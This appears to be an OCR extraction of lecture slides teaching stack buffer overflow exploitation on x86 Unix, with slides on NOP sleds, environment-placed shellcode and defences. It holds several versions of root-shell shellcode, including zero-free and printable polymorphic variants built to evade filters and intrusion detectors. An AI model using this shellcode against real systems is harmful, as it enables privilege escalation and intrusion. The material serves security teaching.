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Unix Runtime: Memory Map for an ELF Executable

o Executable and Linkable Format
> Virtual memory:
all processes with identical map

> Processes share code if possible
= text segment read-only

> All other segments: writable

> Heap and stack grow towards
each other

0x08048000

Oxbfffffff

text
(program code)

data/bss

heap
0

x

stack

arguments (argv)

environment (env)

program name

0
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e Memory map after program

. ; 0x08048000
Invocation: e
T R
0x0805a200 data/bss
heap
e Heap grows, whenever 4

> 1s code allocates dynamic \

memory (via malloc)

Oxbffff470 stack
Oxbf£££471 "/bin/1s", "-1"
Oxbffff47c | PATH=/bin: /usr/bin: ...,
e Stack grows, whenever HOME=/home/grust, . ..
OxbffEf£4 "/bin/ls"
> 1s code performs a OxbfffEEfC 0

function call
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perform a jump to an arbitrary
location inside the ELF map?
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> Intel CPUs are little-endian g%
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e Try to place shellcode in a
writable segment of ELF map:

e |f vulnerable buffer is sufficiently
large, simply place shellcode
inside the buffer (on the stack)
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opjvopjnoppiop| <—esp  (guess)
baf e

return address

e Actual location of esp might differ:

> Function nesting in vulnerable program — |

> Local variables besides buffer \‘




Guessing esp and NOP Bridges

e Try to foretell location of esp 31 0
(create similar ELF map): I\,
—

<+—esp

S
S
S
S

+esp (guess)

S
ElE
S
S

baf fer

return address

e Actual location of esp might differ:

> Function nesting in vulnerable program — |

> Local variables besides buffer \‘




Guessing esp and NOP Bridges

e Try to foretell location of esp
(create similar ELF map): I\,

<+—esp

S
S
S
S

+esp (guess)

S
S
S
S

shellcode

return address

e Actual location of esp might differ:

> Function nesting in vulnerable program — |

> Local variables besides buffer \‘




Guessing esp and NOP Bridges

e Try to foretell location of esp
(create similar ELF map):

e Actual location of esp might differ:

> Function nesting in vulnerable program

> Local variables besides buffer

<+—esp

S
S
S
S

+esp (guess)

S
S
S
S

shellcode

esp (guess)

return address

—

\‘




Guessing esp and NOP Bridges

e Try to foretell location of esp
(create similar ELF map):

e Actual location of esp might differ:

> Function nesting in vulnerable program

> Local variables besides buffer

<+—esp

S
S
S
S

+esp (guess)

S
S
S
S

shellcode

esp (guess)
esp (guess)
return address

—

\‘




Guessing esp and NOP Bridges

e Try to foretell location of esp
(create similar ELF map):

e Actual location of esp might differ:

> Function nesting in vulnerable program

> Local variables besides buffer

<+—esp

S
S
S
S

+esp (guess)

S
S
S
S

shellcode

esp (guess)
esp (guess)

—

\‘
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e Unix environment: mapping
var — value

e User can modify/add
environment entries:




Coping with Tiny Buffers

e Unix environment: mapping

var — value text
(code for 1s program)

data/bss

heap
1

\

+

stack
Il/bin/lsll’ I|_1ll

PATH=/bin:/usr/bin:...,
LOCATION=Erding, ...

e User can modify/add
environment entries:

Oxbffffff4 "/bin/1s"

environment {
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Placing Shellcode in the Environment

(D Place shellcode in environment:

(@ Locate $SHELLCODE via getenv():

Oxbffff5e6

text
(code for guess_env
program)

data/bss

heap
1

\

stack

"guess_env", "SHELLCODE"

PATH=/bin:/usr/bin:...,
SHELLCODE=100’F1---, ...

"/---/guess_env"

0
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Constructing Shellcode

e Avoid substantial overhead of
C shellcode program

e Unix system call via Intel x86
assembly:

section .data
shell: db "/bin/sh", O

argv: dd O
env: dd 0
section .text
_start:
;; setreuid (0, 0)
mov ebx, O ; ruid
mov ecx, O ; euid
mov eax, 70 ; setreuid
int 0x80 ; call Unix

;; execve ("/bin/sh", argv[l, env[])
mov ebx, shell ; "/bin/sh"

mov ecx, argv ; argv
mov [ecx], ebx ; argv[0]="/bin/sh"
mov edx, env ; env

mov eax, 11 ; execve

int 0x80 ; call Unix



Constructing Shellcode

e Avoid substantial overhead of
C shellcode program

e Unix system call via Intel x86
assembly:

(@ Load arguments into
registers ebx, ecx, edx

section .data
shell: db "/bin/sh", O

argv: dd O
env: dd 0
section .text
_start:
;; setreuid (0, 0)
mov ebx, O ; ruid
mov ecx, O ; euid
mov eax, 70 ; setreuid
int 0x80 ; call Unix

;; execve ("/bin/sh", argv[l, env[])
mov ebx, shell ; "/bin/sh"

mov ecx, argv ; argv
mov [ecx], ebx ; argv[0]="/bin/sh"
mov edx, env ; env

mov eax, 11 ; execve

int 0x80 ; call Unix



Constructing Shellcode

e Avoid substantial overhead of
C shellcode program

e Unix system call via Intel x86
assembly:

(@ Load arguments into
registers ebx, ecx, edx

(@ Select system call type via
eax

section .data
shell: db "/bin/sh", O

argv: dd O
env: dd 0
section .text
_start:
;; setreuid (0, 0)
mov ebx, O ; ruid
mov ecx, O ; euid
mov eax, 70 ; setreuid
int 0x80 ; call Unix

;; execve ("/bin/sh", argv[l, env[])
mov ebx, shell ; "/bin/sh"

mov ecx, argv ; argv
mov [ecx], ebx ; argv[0]="/bin/sh"
mov edx, env ; env

mov eax, 11 ; execve

int 0x80 ; call Unix



Constructing Shellcode

section .data
. ) shell: db "/bin/sh", O
e Avoid substantial overhead of  argv: dd 0

C shellcode program Euve  Gel @
section .text
. . _start:
e Unix system call via Intel x86 -, setreuid (0, 0)
assembly: mov ebx, 0 ; ruid
mov ecx, O ; euid
H mov eax, 70 ; setreuid
(@ Load arguments into ot Ong0 | e e

registers ebx, ecx, edx
;; execve ("/bin/sh", argv[l, env[])

(@ Select system call type via mov ebx, shell ; ‘/bin/sh!
eax mov ecx, argv ; argv
mov [ecx], ebx ; argv[0]="/bin/sh"
® Initiate software interrupt mov edx, env  ; env
mov eax, 11 ; execve

int 0x80 ; call Unix



Constructing Shellcode

e Avoid substantial overhead of
C shellcode program

e Unix system call via Intel x86
assembly:

(@ Load arguments into
registers ebx, ecx, edx

(@ Select system call type via
eax

® Initiate software interrupt

section .data
shell: db "/bin/sh", 0O

argv: dd O
env: dd O
section .text
_start:
;; setreuid (0, 0)
mov ebx, O ; ruid
mov ecx, O ; euid
mov eax, 70 ; setreuid
int 0x80 ; call Unix

;; execve ("/bin/sh", argv[l, env[])
mov ebx, shell ; "/bin/sh"

mov ecx, argv ; argv

mov [ecx], ebx ; argv[0]="/bin/sh"
mov edx, env ; env

mov eax, 11 ; execve

int 0x80 ; call Unix
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e Place data and code in
single segment



Single Segment Shellcode

e Place data and code in i setreuid (0, 0)
single segment ey G, O § il
mov ecx, O ; euid
mov eax, 70 ; setreuid
int 0x80 ; call Unix

;; execve ("/bin/sh", argv[], env[])

jmp sh

back: pop ebx ; "/bin/sh"
lea ecx, [ebx + 8] ; argv
mov [ecx], ebx ; argv[0]
lea edx, [ebx + 12] ; env
mov eax, 11 ; execve
int 0x80 ; call Unix

sh: call back
db "/bin/sh", 0
dd 0 ; argv
dd 0 ; env



Single Segment Shellcode

e Place data and code in
single segment

e How to address the data?
(shellcode will be placed
at yet unknown address)

;3 setreui

;; execve
jmp
back: pop
lea
mov
lea
mov
int
sh: call
db "
dd 0
dd 0

d (0, 0)
ebx, O ; ruid
ecx, O ; euid
eax, 70 ; setreuid
0x80 ; call Unix
("/bin/sh", argv[], env[])
sh
ebx ; "/bin/sh"
ecx, [ebx + 8] ; argv
[ecx], ebx ; argv[0]
edx, [ebx + 12] ; env
eax, 11 ; execve
0x80 ; call Unix
back
/bin/sh", O

; argv

; env



Single Segment Shellcode

e Place data and code in
single segment

e How to address the data?
(shellcode will be placed
at yet unknown address)

> Use jmp—call—pop
trick

;3 setreui

;; execve
jmp
back: pop
lea
mov
lea
mov
int
sh: call
db "
dd 0
dd 0

d (0, 0)

ebx, O ; ruid
ecx, O ; euid
eax, 70 ; setreuid
0x80 ; call Unix

("/bin/sh", argv[], env[])

sh
ebx ; "/bin/sh"
ecx, [ebx + 8] ; argv
[ecx], ebx ; argv[0]
edx, [ebx + 12] ; env
eax, 11 ; execve
0x80 ; call Unix
back
/bin/sh", O

; argv

; env



Single Segment Shellcode

e Place data and code in
single segment

e How to address the data?
(shellcode will be placed
at yet unknown address)

> Use jmp—call—pop
trick

;; setreuid (0, 0)

;; execve
jmp
back: pop
lea
mov
lea
mov
int

ebx, @ ; ruid
ecx, @ ; euid
eax, ; setreuid
0x80 ; call Unix

("/bin/sh", argv[], env[])

sh

ebx ; "/bin/sh"
ecx, [ebx + 8] ; argv
[ecx], ebx ; argv[0]
edx, [ebx + 12] ; env

eax, 11 ; execve
0x80 ; call Unix

sh: call back
db "/bin/sh", [
dd [ ; argv
dd [ ; env



Single Segment Shellcode

e Place data and code in
single segment

e How to address the data?
(shellcode will be placed
at yet unknown address)

> Use jmp—call—pop
trick

;; setreuid (0, 0)

;5 execve
jmp
back: pop
lea
mov
lea

int

ebx, [@ ; ruid
ecx, [0 ; euid
eax, ; setreuid
0x80 ; call Unix

("/bin/sh", argv[], env[])
sh

ebx ; "/bin/sh"
ecx, [ebx + 8] ; argv
[ecx], ebx ; argv[0]
edx, [ebx + 12] ; env

eax, 11 ; execve
0x80 ; call Unix

sh: call back
db "/bin/sh", [
dd [ ; argv
dd [ ; env



Zero-free Shellcode

e Zero registers using
equivalence
aXORa=0
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Zero-free Shellcode

e Zero registers using
equivalence
aXORa=0

e Load bytes, not 32-bit words

e Zero-terminate string at
runtime



Zero-free Shellcode

e Zero registers using ;; setreuid (0, 0)
equivalence xor ebx, ebx H ru%d
XOr ecx, ecx ; euid
aXORa=0 XOor eax, eax
mov al, 70 ; setreuid
int 0x80 ; call Unix
e Load bytes, not 32-bit words ;; execve ("/bin/sh", argv[], env[])
Xor eax, eax
jmp sh
) ) back: pop ebx ; "/bin/sh"
e Zero-terminate string at mov [ebx + 7], al ; add ’\0’
. lea ecx, [ebx + 8] ; argv
runtime mov [ecx], ebx ; argv[0]
lea edx, [ebx + 12] ; env
mov [edx], eax ; zero env
mov al, 11 ; execve
int 0x80 ; call Unix

sh: call back
db "/bin/sh", ’#’
db "##H#H" ; argv
db "####" ; env



Zero-free Shellcode

e Zero registers using ;5 setreuid (0, 0)
equivalence xor ebx, ebx H ruJ:.d
XOr ecX, ecxX ; euid
aXORa=0 XOor eax, eax
mov al, 70 ; setreuid
int 0x80 ; call Unix
e | oad bytes, not 32-bit words ;; execve ("/bin/sh", argv[], env[])
Xor eax, eax
jmp sh
) ) back: pop ebx ; "/bin/sh"
e Zero-terminate string at mov [ebx + 7], al ; add ’\0’
. lea ecx, [ebx + 8] ; argv
runtime mov [ecx], ebx ; argv[0]
lea edx, [ebx + 12] ; env
mov [edx], eax ; zero env
mov al, 11 ; execve
int 0x80 ; call Unix

sh: call back
db "/bin/sh", ’#’
db "####H" ; argv
db "####" ; env
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Hacking around Sanity Checks: Printable Shellcode

e Good practice: filter user data to remove any unexpected input

> Example: filter for printable characters via isprint ()

> Printable ASCII characters:

ASCIl code  Char

33 2

126 2



Hacking around Sanity Checks: Printable Shellcode

e Good practice: filter user data to remove any unexpected input

> Example: filter for printable characters via isprint ()

> Printable ASCII characters: “Printable” opcodes:

ASCIl code  Char

Opcode  Char Instruction

33 9{ 0 37 %40 and eax
45 1= sub eax
80 ’pP’ push eax

126 o 84 ’T? pop esp
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e Construct printable shellcode:
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perform setreuid/execve calls



Fooling Intrusion Detectors: Polymorphic Shellcode

e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax
push eax
push eax

<—eip

<—esp




Fooling Intrusion Detectors: Polymorphic Shellcode

e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax
push eax
push eax

<+—eip

<—esp




Fooling Intrusion Detectors: Polymorphic Shellcode

e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
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Fooling Intrusion Detectors: Polymorphic Shellcode

e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax
push eax
push eax

<+—eip

<—esp



Fooling Intrusion Detectors: Polymorphic Shellcode

e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax
push eax
push eax

b0 [ ob [ cd [ 80

<+—eip

<—esp

—



Fooling Intrusion Detectors: Polymorphic Shellcode

e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax
push eax
push eax

b0 [ ob [ cd [ 80

——

<+—eip

<—esp
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e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax
push eax
push eax

b0 [ ob [ cd [ 80
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Fooling Intrusion Detectors: Polymorphic Shellcode

e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax
push eax
push eax

53 [ 89 [ et [ o0

b0 | ob [ cd [ 80

——

<—eip

<—esp



Fooling Intrusion Detectors: Polymorphic Shellcode

e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax
push eax
push eax

shellcode

53 [ 89 [ et [ 90

b0 | ob [ cd [ 80

——

<—eip

<+—esp
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e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax
push eax
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shellcode
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e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax
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push eax
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Fooling Intrusion Detectors: Polymorphic Shellcode

e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax
push eax
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shellcode
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Fooling Intrusion Detectors: Polymorphic Shellcode

e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax
push eax
push eax

NoP | nop | Nop [ noP

shellcode

53 [ 89 [ et [ 90

b0 | ob [ cd [ 80

——

<—eip

<—esp



Fooling Intrusion Detectors: Polymorphic Shellcode

e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax
push eax
push eax

nop [ nop [ nop [ nop

NoP | nop | Nop | noP

shellcode

53 [ 89 [ et [ 90

b0 | ob [ cd [ 80

——

<—eip <—esp



Fooling Intrusion Detectors: Polymorphic Shellcode

e Construct printable shellcode: 31 0

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

e Shellcode proceeds in two phases:

sub eax,0x4bdb4abdb)
sub eax,0x48454848

. . sub eax,0x3425466d
(@ Loader: construct shell-spawning b an
code on stack (backwards) push eax “-esp
NOP | NOP | NOP | NOP
. NOP | NOP | NOP [ NOP | +—eip
@ Spawn shell: NOP | NOP | NOP | NOP %

perform setreuid/execve calls e

53 [ 89 [ et [ 90
b0 | ob [ cd [ 80

——




Fooling Intrusion Detectors: Polymorphic Shellcode

e Construct printable shellcode:

e Shellcode proceeds in two phases:

(@ Loader: construct shell-spawning
code on stack (backwards)

@ Spawn shell:
perform setreuid/execve calls

e Loader can assume many different forms

sub eax,0x53533957
sub eax,0x7979597a
sub eax,0x7266617a
push eax

sub eax,0x6d745525
sub eax,0x79772d38
push eax

sub eax,0x4bdb4abdb)
sub eax,0x48454848
sub eax,0x3425466d
push eax

push eax

NOP | NOP | noP | Nop
NOP | NOP | NOP | NOP
NOP | NOP | NOP | NOP

shellcode

53 [ 89 [ et [ 90
b0 | ob [ cd [ 80

——

<—esp

«eip’
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Hacking Paranoid Programs

e Program paranoid: text
(code for paranoid
> Zero all but the first program)
argument (argv[]) data/bss
. heap
> Zero environment (env[]) 1
e Where to place the shellcode \
?
now? +
stack

e Use filesystem link to place
printable shellcode in ELF arguments
program name segment: environment 0

0, .. (argva1), O

"/« /%OLN6%BOOI-%%L-3]

£ 1n Farancid “cat shellcoode”] Oxbffffffb |- - - PPPPPPPPPPPPPPPPPPP"

Oxbffffffc 0
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Closing Loopholes

e Protection at runtime—QOS kernel level

> Mark the stack segment as non-executable (OpenBSD V)
> Random stack addresses (Unix v/, Windows DLLs: jmp esp %)

e Protection at compile time—compiler/language level

> Generation of bounds checking code
> Stack integrity marks/checks (return address must not change)
> Avoid strcpy(), gets(), ...—use strncpy(), snprintf (), ...

> Avoid C—use garbage-collected and type-safe PLs (Java,
scripting languages, Haskell)



